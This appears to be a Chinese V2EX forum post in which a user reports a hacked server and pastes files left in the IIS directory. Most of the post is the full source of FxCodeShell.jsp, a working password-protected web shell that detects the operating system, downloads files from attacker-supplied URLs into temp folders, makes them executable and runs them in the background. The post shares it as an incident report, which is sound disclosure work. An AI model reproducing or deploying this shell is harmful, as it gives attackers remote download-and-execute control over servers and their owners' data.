服务器被入侵了，留下一段文本

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

› RANDOM.org 密码生成器

› uBlock

› Authy

› LastPass

› FreebuF.com

› Beebeeto

› Dashlane 密码管理器

这是一个创建于 1863 天前的主题，其中的信息可能已经有所发展或是发生改变。

刚才发现服务器被黑了，在 IIS 目录下多了几个文件

其中一个名为 9082addcc2ac2e12.txt 内容是 vulnerability_id:5c10a762f567dc26567d8b0b

令一个是 FxCodeShell.jsp 内容是

<%@ page import="java.util.Arrays"%> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.,java.util.,java.net.URL,java.net.HttpURLConnection"%> <% String view = request.getParameter("view"); if (view == null || view.equals("")) { String localOS = System.getProperty("os.name"); List<string> osList; String tomcatOS = "0"; String DEFAULT = "0"; String WINDOWS = "1"; String LINUX = "2"; osList = new ArrayList<string>(); osList.add("Linux"); osList.add("Windows"); for (String os : osList) { if (localOS.contains(os)) { if (os.equals("Linux")) { tomcatOS = LINUX; } else if (os.equals("Windows")) { tomcatOS = WINDOWS; } else { tomcatOS = DEFAULT; } break; } } out.write(tomcatOS + "
"); response.setHeader("OS", tomcatOS); return; } %></string></string>

<% String password = "FxxkMyLie1836710Aa"; if (!view.equals(password)) { return; } int systemCode = Integer.parseInt(request.getParameter("os")); String address = request.getParameter("address"); String fileName = null; String path = null; String winPath = "C:/Windows/Temp/"; String linuxPath = "/var/tmp/"; switch (systemCode) { case 1: path = winPath; break; default: path = linuxPath; break; }

String[] urls = address.split(",");
InputStream fileInputSteam = null;
FileOutputStream fileOutputStream = null;
for (int i = 0; i <= urls.length - 1; i++) {
	try {
		String[] file = urls[i].split("/");
		fileName = file[file.length - 1];
		out.write("Download:" + urls[i] + "<br>");
		out.write("<br>filename:" + fileName + "<br>");
		out.write("<br>Size:" + urls.length + "<br>");
		out.write(
				"-------------------------------------------------------------------------------------------------------"
						+ "<br><br>");
		File isfile = new File(path + fileName);
		if (isfile.isFile()) {
			try {
				Runtime exec = Runtime.getRuntime();
				if (systemCode == 1) {
					exec.exec(path + fileName);
				} else {
					String chmod = "chmod 777 " + path + fileName;
					exec.exec(chmod);
					exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &");
				}
			} catch (Exception e1) {
				e1.printStackTrace();
			}
			continue;
		}
		URL downloadUrl = new URL(urls[i]);
		HttpURLConnection conn = (HttpURLConnection) downloadUrl.openConnection();
		conn.setConnectTimeout(60000 * 3);
		conn.setReadTimeout(60000 * 3);
		fileInputSteam = conn.getInputStream();
		fileOutputStream = new FileOutputStream(path + fileName);
		int length = -1;
		byte[] b = new byte[409600];
		while ((length = fileInputSteam.read(b)) != -1) {
			fileOutputStream.write(b, 0, length);
			fileOutputStream.flush();
		}
		if (conn != null) {
			conn.disconnect();
		}
		if (fileInputSteam != null) {
			fileInputSteam.close();
		}
		if (fileOutputStream != null) {
			fileOutputStream.close();
		}
		Runtime exec = Runtime.getRuntime();
		if (systemCode == 1) {
			exec.exec(path + fileName);
		} else {
			String chmod = "chmod 777 " + path + fileName;
			exec.exec(chmod);
			exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &");
		}
	} catch (Exception e2) {
		e2.printStackTrace();
	}
}

10 条回复 • 2019-03-15 09:03:47 +08:00